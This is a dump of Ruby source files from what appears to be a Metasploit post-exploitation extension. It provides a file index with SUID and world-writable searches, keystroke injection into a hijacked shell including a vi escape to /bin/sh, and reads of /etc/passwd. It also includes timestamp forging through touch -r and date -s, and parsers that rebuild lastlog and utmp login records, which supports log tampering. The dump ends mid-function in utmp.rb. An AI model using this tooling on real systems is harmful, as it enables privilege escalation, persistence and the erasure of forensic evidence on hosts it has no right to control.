/lib/base/sessions/cache.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | module Msf 3 | module Sessions 4 | # 5 | # adding caching support 6 | # adds @cache to session for storing data in session/memory 7 | # 8 | module SessionCaching 9 | attr_accessor :cache 10 | 11 | def initialize(*args) 12 | start_cache 13 | super 14 | end 15 | 16 | # 17 | # starting the cache 18 | # 19 | def start_cache 20 | @cache = Cache.new unless @cache 21 | end 22 | 23 | # 24 | # the cache class 25 | # 26 | class Cache 27 | attr_accessor :data 28 | def initialize 29 | @data = {} 30 | end 31 | 32 | # 33 | # add a key and a value to the @data Hash 34 | # 35 | def add(key, value) 36 | @data[key] = value 37 | end 38 | 39 | # 40 | # read the value from a key 41 | # 42 | def read(key) 43 | @data[key] 44 | end 45 | 46 | # 47 | # delete a key 48 | # 49 | def delete(key) 50 | @data.delete(key) 51 | end 52 | 53 | # 54 | # check if a key exists 55 | # 56 | def exists?(key) 57 | @data.key?(key) 58 | end 59 | 60 | # 61 | # delete everything in cache 62 | # 63 | def delete_all 64 | @data = {} 65 | end 66 | end 67 | end 68 | end 69 | end 70 | -------------------------------------------------------------------------------- /lib/base/sessions/offline.rb: -------------------------------------------------------------------------------- 1 | # 2 | # 3 | # 4 | 5 | require 'base/sessions/shell_extensions' 6 | require 'base/sessions/cache' 7 | require 'base/sessions/updatedb' 8 | 9 | module Msf 10 | module Sessions 11 | # 12 | # Offline Session for testing and "offline" analyses of downloaded output 13 | # (files and command output) 14 | # 15 | class Offline < CommandShell 16 | include Msf::Session::Basic 17 | include Msf::Session::Provider::SingleCommandShell 18 | include Msf::Post::Common 19 | include Msf::Sessions::SessionCaching 20 | include Msf::Sessions::Updatedb 21 | 22 | attr_accessor :arch 23 | attr_accessor :platform 24 | attr_accessor :verbose 25 | # attr_accessor :data_dir 26 | 27 | def initialize(*args) 28 | self.verbose = false 29 | @datadir = nil 30 | @offline = nil 31 | # self.staekka = true 32 | self.platform = "unix" # XXX: todo 33 | super 34 | end 35 | 36 | # 37 | # just a description 38 | # 39 | def desc 40 | "Offline analyse" 41 | end 42 | 43 | def type 44 | "offline shell" 45 | end 46 | 47 | def inspect 48 | "# generating a session id 59 | # -> exporting it via XSESSIONID shell environment variable 60 | # 61 | def new_session_start 62 | id_token = ::Rex::Text.rand_text_alpha(32) 63 | key = 'XSESSIONID' 64 | enviroment_set(key, id_token) 65 | if enviroment_get(key).to_s.match(id_token) 66 | @session_id = id_token 67 | true 68 | else 69 | false 70 | end 71 | end 72 | 73 | # 74 | # tests if it a new shell session 75 | # true if XSESSIONID is not equal to the current session id (@session_id) 76 | # 77 | def new_session? 78 | return nil unless @session_id 79 | key = 'XSESSIONID' 80 | out = enviroment_get(key).to_s 81 | if out.match(@session_id) 82 | false 83 | else 84 | true 85 | end 86 | end 87 | 88 | # 89 | # does the shell have a tty? 90 | # 91 | def tty? 92 | out = shell_command_token("tty;/bin/tty;/usr/bin/tty") 93 | return true if out.match "/dev/" 94 | return false if out.match "not a tty" 95 | false 96 | end 97 | end 98 | end 99 | end 100 | -------------------------------------------------------------------------------- /lib/base/sessions/updatedb.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | # adding support for updatedb like function for cached search of files 3 | module Msf 4 | module Sessions 5 | module Updatedb 6 | attr_accessor :updatedb 7 | # 8 | # creates an updatedb database 9 | # (it searches for all files on the system; executes "ls -l" and uses this output as "database") 10 | # you could define an extra root directory (default is "/") 11 | # you can define a file with the output of the command (for faster tests) 12 | # Note: running this command on / can take a while (depending on the system). 13 | # 14 | def locate_updatedb(rootdir='/', stored_file=nil, timeout=(60 * 60 * 15)) 15 | return true if @updatedb 16 | # 17 | # TODO 18 | # ignoring some directories might be usefull for better performance 19 | # ignore: 20 | # /proc 21 | # /sys 22 | # /dev (maybe) 23 | # good idea? yes/no 24 | if stored_file.nil? 25 | tmp_timeout = 20 # more timeout? 26 | #cmd = "find #{rootdir} -type f -exec ls -l {} \\;" + " 2>/dev/null" 27 | cmd = "find #{rootdir} -wholename '/proc' -prune -o -wholename '/sys' -prune -o -wholename '/dev' -prune -o -ls" + " 2>/dev/null" 28 | print_debug("Creating an UpdateDB - this might take a while...... running command: #{cmd}") 29 | db = shell_command_token(cmd, tmp_timeout, timeout) 30 | else 31 | db = ::File.read(stored_file) 32 | end 33 | @updatedb={} 34 | db.each_line do | line | 35 | values = line.split(" ") 36 | if values[2].to_s.match(/^(d|c|b|l|s|-)/) && values[10].to_s.match(/^(\/|.\/)/) 37 | path = values[10..values.length].join(" ") 38 | metadata = values[2..9].join(" ") 39 | @updatedb[path] = metadata 40 | elsif values[2].to_s.match(/^(d|c|b|l|s|-)/) && values[9].to_s.match(/^(\/|.\/)/) 41 | path = values[9..values.length].join(" ") 42 | metadata = values[2..8].join(" ") 43 | @updatedb[path] = metadata 44 | elsif values[0].to_s.match(/^(d|c|b|l|s|-)/) && values[8].to_s.match(/^(\/|.\/)/) 45 | # in case using -exec ls -l {} instead of -ls 46 | path = values[8..values.length].join(" ") 47 | metadata = values[0..7].join(" ") 48 | @updatedb[path] = metadata 49 | else 50 | #puts "[ERROR]\t#{line}" 51 | # TODO/TOCHECK 52 | end 53 | end 54 | true 55 | end 56 | # 57 | # checks if an updatedb database already exists 58 | # 59 | def locate_updatedb? 60 | if @updatedb 61 | true 62 | else 63 | false 64 | end 65 | end 66 | # 67 | # the updatedb database 68 | # (output of the "find" command) 69 | # 70 | def updatedb 71 | @updatedb 72 | end 73 | # 74 | # checks if a files exists in updatedb 75 | # 76 | def updatedb_file_exists?(file) 77 | @updatedb.key?(file) 78 | end 79 | # 80 | # checks if a directory exists in db 81 | # 82 | def updatedb_dir_exists?(file) 83 | @updatedb.keys.each do | path | 84 | # filter out file 85 | if @updatedb.key?(file) 86 | if @updatedb[file][0,1] == 'd' 87 | return true 88 | else 89 | return false 90 | end 91 | end 92 | return true if path.start_with? file 93 | end 94 | false 95 | end 96 | # 97 | # returns metadata + filename of a file 98 | # like a cached ls 99 | # 100 | def updatedb_file_ls(file) 101 | updatedb[file] 102 | end 103 | # 104 | # returns the owner of a file 105 | # 106 | def updatedb_file_user(file) 107 | meta = updatedb_file_ls(file) 108 | if meta 109 | user = meta.split(" ")[2] 110 | user 111 | else 112 | nil 113 | end 114 | end 115 | # 116 | # returns the group owner of a file 117 | # 118 | def updatedb_file_group(file) 119 | meta = updatedb_file_ls(file) 120 | if meta.class.to_s == 'String' 121 | group = meta.split(" ") 122 | group 123 | elsif meta.class.to_s == 'Array' 124 | group = meta[3] 125 | group 126 | else 127 | nil 128 | end 129 | end 130 | # 131 | # true if user owns this file 132 | # 133 | def updatedb_file_user?(file, user) 134 | owner = updatedb_file_user(file) 135 | user == owner 136 | end 137 | # 138 | # true if group owns this file 139 | # 140 | def updatedb_file_group?(file, group) 141 | owner = updatedb_file_group(file) 142 | group == owner 143 | end 144 | # 145 | # returns file permissions of a file 146 | # 147 | def updatedb_file_permissions(file) 148 | meta = updatedb_file_ls(file) 149 | if meta 150 | permissions = meta.split(" ")[0] 151 | permissions 152 | else 153 | nil 154 | end 155 | end 156 | def updatedb_file_permissions?(file, perms) 157 | tmp = updatedb_file_permissions(file) 158 | if perms.to_i == 0 159 | #puts "|#{tmp}|==|#{perms}|" 160 | return tmp == perms 161 | else 162 | octal = perms_to_ocal(tmp) 163 | #puts "#{perms.to_i}==#{octal}" 164 | return perms.to_i == octal 165 | end 166 | end 167 | def perms_to_ocal(perms) 168 | return 0 if perms.nil? 169 | return 0 unless perms.length == 10 170 | return 0 if perms.match(/[^rwx\-stdsbcl]/) 171 | #puts "perms_to_ocal()" 172 | permissions = perms[1..3], perms[4..6], perms[7..9] 173 | octal = '0' 174 | if perms[9] == 't' 175 | octal = '1' 176 | end 177 | if perms[6] == 't' 178 | octal = '2' 179 | end 180 | if perms[3] == 's' 181 | octal = '4' 182 | end 183 | permissions.each do |p| 184 | tmp = 0 185 | p.sub!('t', '1') 186 | p.sub!('s', '1') 187 | p.sub!('-', '0') 188 | p.sub!('r', '4') 189 | p.sub!('w', '2') 190 | p.sub!('x', '1') 191 | p.each_char do |c| 192 | tmp = tmp + c.to_i 193 | end 194 | octal << tmp.to_s 195 | end 196 | octal.to_i 197 | end 198 | # 199 | # searches all files with special permissions 200 | # 201 | def updatedb_search_permissions(perms) 202 | file_list = [] 203 | updatedb.each_pair do | file, meta | 204 | if meta 205 | permissions = meta.split(" ")[0] 206 | if permissions.match(perms) 207 | file_list << file 208 | end 209 | end 210 | end 211 | file_list 212 | end 213 | # 214 | # searches all suid files 215 | # 216 | def updatedb_search_suid 217 | perms = "^-[rws][rws][rws]" 218 | updatedb_search_permissions(perms) 219 | end 220 | # 221 | # searches all files writeable for every user 222 | # 223 | def updatedb_search_world_writeable 224 | perms = "^[-d][rst-]w.[rst-]w.[rst-]w" 225 | updatedb_search_permissions(perms) 226 | end 227 | # 228 | # searches for files (pattern or regex) 229 | # 230 | def updatedb_search(search) 231 | file_list = [] 232 | @updatedb.each_pair do | file, _meta | 233 | if file.match(search) 234 | file_list << file 235 | end 236 | end 237 | file_list 238 | end 239 | end 240 | end 241 | end 242 | 243 | module Msf 244 | class Post 245 | # module Staekka 246 | module Updatedb 247 | def find_files(search) 248 | if datastore['USE_UPDATEDB'] == false 249 | return [] 250 | end 251 | if datastore['FILES'] == false 252 | # do not search for these files 253 | return [] 254 | else 255 | unless session.locate_updatedb? 256 | m = framework.post.create("unix/general/updatedb") 257 | m.datastore['SESSION'] = datastore['SESSION'] 258 | m.options.validate(m.datastore) 259 | m.run_simple( 260 | 'LocalInput' => user_input, 261 | 'LocalOutput' => user_output 262 | ) 263 | end 264 | session.updatedb_search(search) 265 | end 266 | end 267 | end 268 | end 269 | end 270 | -------------------------------------------------------------------------------- /lib/core/post/staekka.rb: -------------------------------------------------------------------------------- 1 | # 2 | # Advanced Post Exploitation 3 | 4 | # require 'msf/core/post/file' 5 | 6 | module Msf 7 | class Post 8 | # 9 | # Simple commands for Staekka 10 | # 11 | module Staekka 12 | # 13 | # check if a command was successful 14 | # 15 | def cmd_success?(command) 16 | check_string = ::Rex::Text.rand_text_alpha(12) 17 | command << " && echo #{check_string}" 18 | out = cmd_exec(command) 19 | #if out.to_s.match(check_string) 20 | if out.to_s.delete("\r").match(check_string) 21 | true 22 | else 23 | false 24 | end 25 | end 26 | end 27 | end 28 | end 29 | -------------------------------------------------------------------------------- /lib/core/post/staekka/send_data.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | module Msf 3 | class Post 4 | module Staekka 5 | # 6 | # sending special data to $STDIN 7 | # 8 | module SendData 9 | # 10 | # send a newline "\n" 11 | # 12 | def send_newline 13 | data = "\n" 14 | session.shell_write(data) 15 | end 16 | 17 | # 18 | # send [ctrl]-[c] 19 | # 20 | def send_ctrl_c 21 | data = 3.chr 22 | session.shell_write(data) 23 | end 24 | 25 | # 26 | # send [ctrl]-[d] 27 | # 28 | def send_ctrl_d 29 | data = 4.chr 30 | session.shell_write(data) 31 | end 32 | 33 | # 34 | # send [ctrl]-[z] 35 | # 36 | def send_ctrl_z 37 | data = 26.chr 38 | session.shell_write(data) 39 | end 40 | 41 | # 42 | # send [ctrl]-[escape] 43 | # 44 | def send_ctrl_escape 45 | data = 27.chr 46 | session.shell_write(data) 47 | end 48 | 49 | # 50 | # send a q 51 | # 52 | def send_q 53 | data = "q " 54 | session.shell_write(data) 55 | end 56 | 57 | # 58 | # send a Q 59 | # 60 | def send_capital_q 61 | data = "q" 62 | session.shell_write(data) 63 | end 64 | 65 | # 66 | # send quit 67 | # 68 | def send_quit 69 | data = "quit" 70 | session.shell_write(data) 71 | end 72 | 73 | # 74 | # send exit 75 | # 76 | def send_exit 77 | data = "exit" 78 | session.shell_write(data) 79 | end 80 | 81 | # 82 | # send yes 83 | # 84 | def send_yes 85 | data = "yes" 86 | session.shell_write(data) 87 | end 88 | 89 | # 90 | # execute /bin/sh from vi 91 | # 92 | def send_vi_shell 93 | send_ctrl_escape 94 | data = ":!/bin/sh" + "\n" 95 | session.shell_write(data) 96 | end 97 | 98 | # 99 | # exit vi without saving 100 | # 101 | def send_vi_exit_nosave 102 | send_ctrl_escape 103 | data = ":q!" + "\n" 104 | session.shell_write(data) 105 | end 106 | 107 | # 108 | # exit vi with saving 109 | # 110 | def send_vi_exit_save 111 | send_ctrl_escape 112 | data = ":x!" + "\n" 113 | session.shell_write(data) 114 | end 115 | end 116 | end 117 | end 118 | end 119 | -------------------------------------------------------------------------------- /lib/core/post/staekka/unix.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | 3 | module Msf 4 | class Post 5 | module Staekka 6 | # 7 | # common unix commands 8 | # 9 | module Unix 10 | def enum_user_directories 11 | if ( session.methods.include? :cache) && session.cache.exists?("user_dirs") 12 | return session.cache.read("user_dirs") 13 | end 14 | user_dirs = ['/', '/root'] 15 | 16 | # get all user directories from /etc/passwd 17 | passwd = read_file("/etc/passwd", false, true) 18 | passwd.each_line do |passwd_line| 19 | user_dirs << passwd_line.split(/:/)[5] 20 | end 21 | 22 | # use getent for non-local users 23 | if installed?("getent") 24 | cmd = "getent passwd" 25 | passwd = cmd_exec(cmd) 26 | passwd.each_line do |passwd_line| 27 | user_dirs << passwd_line.split(/:/)[5] 28 | end 29 | end 30 | 31 | # also list other common places for home directories in the event that 32 | # the users aren't in /etc/passwd (LDAP, for example) 33 | case session.platform 34 | when 'osx' 35 | ls('/Users').each do |l| 36 | l.strip! 37 | user_dirs << "/Users/#{l}" 38 | end 39 | # user_dirs << cmd_exec('ls -m /Users').each_line.map { |l| "/Users/#{l}" } 40 | else 41 | ls('/home').each do |l| 42 | l.strip! 43 | user_dirs << "/home/#{l}" 44 | end 45 | # user_dirs << cmd_exec('ls -m /home').each_line.map { |l| "/home/#{l}" } 46 | end 47 | 48 | user_dirs.flatten! 49 | user_dirs.compact! 50 | user_dirs.sort! 51 | user_dirs.uniq! 52 | 53 | session.cache.add("user_dirs", user_dirs) if session.methods.include? :cache 54 | user_dirs 55 | end 56 | end 57 | end 58 | end 59 | end 60 | -------------------------------------------------------------------------------- /lib/core/post/unix/commands.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | 3 | module Msf 4 | class Post 5 | module Unix 6 | # 7 | # common unix commands 8 | # 9 | module Commands 10 | # include Msf::Post::File 11 | include Msf::Sessions::Updatedb 12 | 13 | # 14 | # make directory 15 | # 16 | def mkdir(dir) 17 | cmd_exec("mkdir -p #{dir}") 18 | end 19 | 20 | # 21 | # touch file 22 | # * create file 23 | # * or set timestamp to reference file 24 | # 25 | def touch(file, reference = nil) 26 | unless reference 27 | command = "touch #{file}" 28 | return cmd_exec(command) 29 | end 30 | ############# 31 | # ctime 32 | # needs root 33 | out = cmd_exec("stat #{file}") 34 | tmp = out.match(/Access: \(\d\d\d\d\//) 35 | if tmp 36 | perms = tmp[1] 37 | if perms && perms.match(/^[0124567]*$/) 38 | save_date = cmd_exec("date") 39 | cmd_exec("chmod #{perms} #{file}") 40 | cmd_exec("date -s #{save_date}") 41 | end 42 | end 43 | command = "touch -r #{reference} #{file}" 44 | cmd_exec(command) 45 | end 46 | 47 | # 48 | # remove/delete file 49 | # (normal "rm" not wiping the file!) 50 | # 51 | def rm(file) 52 | cmd_exec("rm -rf #{file}") 53 | end 54 | 55 | # 56 | # copy file/directory 57 | # 58 | def cp(from_file, to_file) 59 | cmd_exec("cp -rf #{from_file} #{to_file}") 60 | end 61 | 62 | # 63 | # move file/directory 64 | # 65 | def mv(from_file, to_file) 66 | cmd_exec("mv -f #{from_file} #{to_file}") 67 | end 68 | 69 | # 70 | # get the current directory 71 | # 72 | def pwd 73 | cmd_exec("pwd") 74 | end 75 | 76 | # 77 | # change to directory 78 | # 79 | def cd(dir = nil) 80 | cmd_exec("cd #{dir}") 81 | end 82 | 83 | # 84 | # reads a file 85 | # 86 | def cat(file) 87 | cmd_exec("cat #{file}") 88 | end 89 | 90 | # 91 | # gets contents of a directory and returns an array 92 | # 93 | def ls(directory) 94 | out = [] 95 | tmp = cmd_exec("ls -a -m #{directory}") 96 | tmp = session.remove_colors(tmp) 97 | if tmp 98 | tmp.delete!("\r") 99 | tmp.delete!("\n") 100 | tmp.split(/,\s{0,1}/).each do |f| 101 | next if f.empty? 102 | next if f == './' 103 | next if f == '../' 104 | next if f == '.' 105 | next if f == '..' 106 | out << f 107 | end 108 | end 109 | out 110 | end 111 | 112 | # 113 | # search for a string and returns all matches 114 | # * target{:file} # inside a file 115 | # * target{:cmd} # inside the command output 116 | # * target{:string} # inside a string 117 | # example: grep(":0:0:",{:file=>"/etc/passwd"}) 118 | # example: grep(":0:0:",{:cmd=>"cat /etc/passwd"}) 119 | # 120 | def grep(search, target, bool = false) 121 | data = '' 122 | result = [] 123 | # rx = Regexp.new(search, Regexp::MULTILINE) 124 | rx = Regexp.new(search) 125 | if target.class.to_s == 'Hash' 126 | if target[:file] 127 | file = target[:file] 128 | data = cat(file) if readable?(file) 129 | end 130 | data = target[:string].to_s if target[:string] 131 | data = cmd_exec(target[:cmd]) if target[:cmd] 132 | end 133 | data = target if target.class.to_s == 'String' 134 | data.each_line do |line| 135 | result << line.chomp if rx.match(line) 136 | end 137 | if bool == true 138 | if result.empty? 139 | return false 140 | else 141 | return true 142 | end 143 | end 144 | result 145 | end 146 | 147 | # kills a program 148 | # * pid (integer) 149 | # * command (string) # using killall 150 | # 151 | # TODO: killall -> ps|grep|kill 152 | # 153 | def kill(target, signal = 9) 154 | kill_signal = " -#{signal}" if signal 155 | 156 | cmd = if target.class.to_s == "String" 157 | "killall #{target} #{kill_signal}" 158 | else 159 | "kill #{target} #{kill_signal}" 160 | end 161 | cmd_exec(cmd) 162 | end 163 | 164 | # 165 | # shows the OS 166 | # 167 | def uname 168 | if (session.methods.include? :cache) && session.cache.exists?("uname") 169 | return session.cache.read("uname") 170 | else 171 | option = '-a' 172 | out = cmd_exec("uname #{option}") 173 | session.cache.add("uname", out) 174 | out 175 | end 176 | end 177 | 178 | # TODO 179 | # ps 180 | # netstat 181 | # ifconfig 182 | 183 | \ 184 | 185 | ##################### 186 | 187 | # 188 | # a list of default paths with exeutables 189 | # ENV[PATH] 190 | # 191 | def get_all_path 192 | # some default directories 193 | env_paths = [] 194 | env_paths << "/bin" 195 | env_paths << "/usr/bin" 196 | env_paths << "/usr/local/bin" 197 | env_paths << "/sbin" 198 | env_paths << "/usr/sbin" 199 | env_paths << "/usr/local/sbin" 200 | env_paths << "/opt/bin" 201 | env_paths += cmd_exec("echo $PATH").split(":") 202 | env_paths.uniq 203 | end 204 | 205 | # 206 | # checks if a tool is installed 207 | # (if it exists inside of the PATH) 208 | # 209 | def installed?(tool) 210 | # first: check with updatedb 211 | if session.locate_updatedb? == true 212 | out = '' 213 | if (session.methods.include? :cache) && session.cache.exists?("ls_path") 214 | out = session.cache.read("ls_path") 215 | else 216 | out = '' 217 | env_paths = get_all_path 218 | for path in env_paths 219 | out << session.updatedb_search(path).join("\n").to_s 220 | end 221 | end 222 | session.cache.add("ls_path", out) if session.methods.include? :cache 223 | 224 | out.each_line do |line| 225 | line.chomp! 226 | return line if line =~ /\/#{tool}$/ 227 | end 228 | end 229 | 230 | # second: if cache run ls for every path once and cache it 231 | if session.methods.include? :cache 232 | out = '' 233 | if session.cache.exists?("ls_path") 234 | out = session.cache.read("ls_path") 235 | else 236 | env_paths = get_all_path 237 | # ls: 238 | # -m fill width with a comma separated list of entries 239 | cmd = "/bin/ls -m" 240 | for path in env_paths 241 | # adding timeout because it may need some time if many 242 | # tools are installed 243 | # out << cmd_exec("#{cmd} #{path}/*", 20, 60 * 2) 244 | tmp = session.shell_command_token("#{cmd} #{path}/*", 20, 60 * 2) 245 | tmp.split(',').each do |tmp_tool| 246 | tmp_tool.chomp! 247 | tmp_tool.strip! 248 | out << tmp_tool + "\n" 249 | end 250 | end 251 | # out.gsub!("\t", "\n") 252 | session.cache.add("ls_path", out) 253 | end 254 | out.each_line do |line| 255 | line.chomp! 256 | return line if line =~ /\/#{tool}$/ 257 | end 258 | 259 | return false 260 | end 261 | 262 | # third: fallback: using traditional which 263 | out = cmd_exec("which #{tool}") 264 | if out[0, 1] == '/' 265 | return out 266 | else 267 | return nil 268 | end 269 | end 270 | 271 | # 272 | # checks if a C compiler is installed 273 | # if verify is true it compiles and executes a small test programm 274 | # 275 | def compiler?(verify = false, writeable_directory = false) 276 | if (session.methods.include? :cache) && session.cache.exists?("compiler?") 277 | return session.cache.read("compiler?") 278 | end 279 | writeable_directory = '/var/tmp/' unless writeable_directory == true 280 | compilers = ['gcc', 'cc', 'tcc', 'pcc'] 281 | compilers.each do |tool| 282 | next unless installed?(tool) 283 | if verify == true 284 | 285 | tmp_file = writeable_directory.to_s + ::Rex::Text.rand_text_alpha(12) 286 | tmp_file_c = tmp_file + '.c' 287 | match_string = ::Rex::Text.rand_text_alpha(32) 288 | test_c = "#include \nint main(void){printf(\"#{match_string} %c\",0x0a);return 0;}" 289 | test_c.each_line do |line| 290 | cmd_exec("echo '#{line}'>>#{tmp_file_c}") 291 | end 292 | compile = "#{tool} #{tmp_file_c} -o #{tmp_file}" 293 | cmd_exec(compile) 294 | out = cmd_exec(tmp_file) 295 | rm tmp_file 296 | rm tmp_file_c 297 | if out.match(match_string) 298 | session.cache.add("compiler?", tool) if session.methods.include? :cache 299 | return tool 300 | end 301 | else 302 | session.cache.add("compiler?", tool) if session.methods.include? :cache 303 | return tool 304 | end 305 | end 306 | session.cache.add("compiler?", false) if session.methods.include? :cache 307 | false 308 | end 309 | end 310 | end 311 | end 312 | end 313 | -------------------------------------------------------------------------------- /lib/core/post/unix/lastlog.rb: -------------------------------------------------------------------------------- 1 | # 2 | # Lastlog binary logs 3 | # 4 | class LastLog 5 | attr_accessor :lastlog 6 | attr_accessor :entries 7 | attr_accessor :uidmap 8 | 9 | class LastLogStruct < BinData::Record 10 | endian :little 11 | uint32 :ll_time 12 | string :ll_line, length: 32 13 | string :ll_host, length: 256 14 | end 15 | 16 | def initialize 17 | @lastlog = LastLogStruct.new 18 | @entries = {} 19 | @uidmap = {} 20 | @fields = ['ll_time', 'll_line', 'll_host', 'll_user'] 21 | end 22 | 23 | def size 24 | @lastlog.to_binary_s.length 25 | end 26 | 27 | def size_ok?(file) 28 | filesize = ::File.size(file) 29 | if (filesize % size).zero? 30 | true 31 | else 32 | false 33 | end 34 | end 35 | 36 | def int_to_time(int) 37 | if int.nil? || int.zero? 38 | "**Never logged in**" 39 | else 40 | Time.at(int).to_s 41 | end 42 | end 43 | 44 | def time_to_int(time) 45 | Time.parse(time).to_i 46 | end 47 | 48 | def read_uid(uid) 49 | lastlog.read(@entries[uid]) 50 | end 51 | 52 | def dump_entry(uid) 53 | data = read_uid(uid) 54 | out = {} 55 | out["ll_user"] = uid 56 | # out["ll_time"] = int_to_time(data.ll_time) if data.respond_to? :ll_time 57 | out["ll_time"] = data.ll_time if data.respond_to? :ll_time 58 | out["ll_line"] = data.ll_line if data.respond_to? :ll_line 59 | out["ll_host"] = data.ll_host if data.respond_to? :ll_host 60 | out 61 | end 62 | 63 | def create_entry(data, uid) 64 | # tmp = dump_entry(uid) 65 | new_lastlog = hash2data(data, uid) 66 | new_lastlog 67 | end 68 | 69 | def create_lastlog 70 | LastLogStruct.new 71 | end 72 | 73 | def hash2data(data, _uid) 74 | new_lastlog = create_lastlog 75 | new_lastlog.ll_time = data["ll_time"] 76 | new_lastlog.ll_line = data["ll_line"] 77 | new_lastlog.ll_host = data["ll_host"] 78 | new_lastlog 79 | end 80 | 81 | def read_passwd(data = "") 82 | data.to_s.split("\n").each do |line| 83 | tmp = line.split(":") 84 | @uidmap[tmp[2].to_i] = tmp[0] 85 | end 86 | end 87 | 88 | def uid_to_username(uid) 89 | # if @uidmap.empty? 90 | # read_passwd() 91 | # end 92 | user = @uidmap[uid] 93 | if user.nil? 94 | "uid=#{uid}" 95 | else 96 | user 97 | end 98 | end 99 | 100 | def print_entry(uid) 101 | out = '' 102 | tmp = dump_entry(uid) 103 | ll_time = int_to_time(tmp['ll_time']) 104 | ll_user = uid_to_username(tmp['ll_user']) 105 | ll_line = tmp['ll_line'].delete "\x00" 106 | ll_host = tmp['ll_host'].delete "\x00" 107 | out << sprintf("%-16s %-10s %-16s %-26s", ll_user, ll_line, ll_host, ll_time) 108 | out << "\n" 109 | out 110 | end 111 | 112 | def read_file(io) 113 | io.rewind 114 | i = 0 115 | until io.eof? 116 | data = @lastlog.read(io) 117 | @entries[i] = data.to_binary_s 118 | i += 1 119 | end 120 | i = 0 121 | end 122 | 123 | def each_entry(io) 124 | read_file(io) if @entries.empty? 125 | @entries.each_key do |uid| 126 | yield(self, uid) 127 | end 128 | end 129 | end 130 | -------------------------------------------------------------------------------- /lib/core/post/unix/utmp.rb: -------------------------------------------------------------------------------- 1 | # 2 | # UTMP binary logs 3 | # 4 | class UtmpX 5 | attr_accessor :utmp 6 | 7 | class Utmp < BinData::Record 8 | endian :little 9 | end 10 | 11 | def initialize 12 | # @utmp = Utmp.new 13 | @ut_type = { 14 | 0 => "empty/unkown", 15 | 1 => "run-level", 16 | 2 => "boot time", 17 | 3 => "new time", 18 | 4 => "old time", 19 | 5 => "init process", 20 | 6 => "login process", 21 | 7 => "user process", 22 | 8 => "dead process", 23 | 9 => "accounting" 24 | } 25 | @fields = ["ut_type", "ut_pid", "ut_line", "ut_name", "ut_id", "ut_user", "ut_host", "ut_exit", "ut_tv_sec", "ut_time", "ut_tv_usec", "ut_session", "ut_addr_v6", "ut_addr", "unused"] 26 | end 27 | 28 | def utmp_size 29 | @utmp.to_binary_s.length 30 | end 31 | 32 | # def type_ok?(file) 33 | # filesize = ::File.size(file) 34 | # if (filesize % utmp_size) == 0 35 | # true 36 | # else 37 | # false 38 | # end 39 | # end 40 | 41 | def size_ok?(filesize) 42 | if (filesize % utmp_size).zero? 43 | true 44 | else 45 | false 46 | end 47 | end 48 | 49 | def ip_to_string(struct) 50 | data = if struct.base_respond_to? :ut_addr_v6 51 | struct.ut_addr_v6 52 | else 53 | struct.ut_addr 54 | end 55 | if (data[0]).zero? && (data[1]).zero? && (data[2]).zero? && (data[3]).zero? 56 | "none" 57 | elsif (data[0] > 0) && (data[1]).zero? && (data[2]).zero? && (data[3]).zero? 58 | # IPv4 59 | "IPv4 #{IPAddr.new(data[0], Socket::AF_INET)}" 60 | else 61 | number = (data[0] << 96) + (data[1] << 64) + (data[2] << 32) + data[4] 62 | "IPv6 #{IPAddr.new(number, Socket::AF_INET6)}" 63 | end 64 | end 65 | 66 | def string_to_ip(string) 67 | return [0, 0, 0, 0] if string.nil? || (string == 'none') 68 | string.gsub!("IPv4", "") 69 | string.gsub!("IPv6", "") 70 | string.strip! 71 | num = IPAddr.new(string).to_i 72 | if num < 9999999999 73 | # ipv4 74 | [num, 0, 0, 0] 75 | else 76 | low_1 = num & 0xFFFFFFFF 77 | low_2 = (num >> 32) & 0xFFFFFFFF 78 | low_3 = (num >> 64) & 0xFFFFFFFF 79 | low_4 = (num >> 96) & 0xFFFFFFFF 80 | [low_4, low_3, low_2, low_1] 81 | end 82 | end 83 | 84 | def time_to_string(data) 85 | Time.at(data.ut_tv_sec).to_s 86 | end 87 | 88 | def tvtime_to_string(data) 89 | Time.at(data.ut_time).to_s 90 | end 91 | 92 | def string_to_time(string) 93 | Time.parse(string).to_i 94 | end 95 | 96 | def type_to_string(data) 97 | @ut_type[data.ut_type] 98 | end 99 | 100 | def string_to_type(string) 101 | @ut_type.each_pair do |key, value| 102 | return key if string == value 103 | end 104 | string.to_i 105 | end 106 | 107 | def dump_entry(data) 108 | out = {} 109 | out["ut_type"] = type_to_string(data) if data.respond_to? :ut_type 110 | out["ut_pid"] = data.ut_pid if data.respond_to? :ut_pid 111 | out["ut_line"] = data.ut_line if data.respond_to? :ut_line 112 | out["ut_id"] = data.ut_id if data.respond_to? :ut_id 113 | out["ut_user"] = data.ut_user if data.respond_to? :ut_user 114 | out["ut_name"] = data.ut_name if data.respond_to? :ut_name 115 | out["ut_host"] = data.ut_host if data.respond_to? :ut_host 116 | out["ut_exit"] = data.ut_exit if data.respond_to? :ut_exit 117 | out["ut_tv_sec"] = time_to_string(data) if data.respond_to? :ut_tv_sec 118 | out["ut_time"] = tvtime_to_string(data) if data.respond_to? :ut_time 119 | out["ut_tv_usec"] = data.ut_tv_usec if data.respond_to? :ut_tv_usec 120 | out["ut_session"] = data.ut_session if data.respond_to? :ut_session 121 | out["ut_addr_v6"] = ip_to_string(data) if data.respond_to? :ut_addr_v6 122 | out["unused"] = data.unused if data.respond_to? :unused 123 | out 124 | end 125 | 126 | def create_entry(data) 127 | tmp = dump_entry(data) 128 | new_utmp = hash2data(tmp) 129 | new_utmp 130 | end 131 | 132 | def hash2data(data) 133 | # new_utmp = Utmp.new 134 | # new_utmp = @utmp.dup 135 | new_utmp = create_utmp 136 | new_utmp.ut_type = string_to_type(data["ut_type"]) if new_utmp.respond_to? :ut_type 137 | new_utmp.ut_pid = data["ut_pid"] if new_utmp.respond_to? :ut_pid 138 | new_utmp.ut_line = data["ut_line"] if new_utmp.respond_to? :ut_line 139 | new_utmp.ut_id = data["ut_id"] if new_utmp.respond_to? :ut_id 140 | new_utmp.ut_user = data["ut_user"] if new_utmp.respond_to? :ut_user 141 | new_utmp.ut_name = data["ut_name"] if new_utmp.respond_to? :ut_name 142 | new_utmp.ut_host = data["ut_host"] if new_utmp.respond_to? :ut_host 143 | new_utmp.ut_exit = data["ut_exit"] if new_utmp.respond_to? :ut_exit 144 | new_utmp.ut_time = string_to_time(data["ut_time"]) if new_utmp.respond_to? :ut_time 145 | 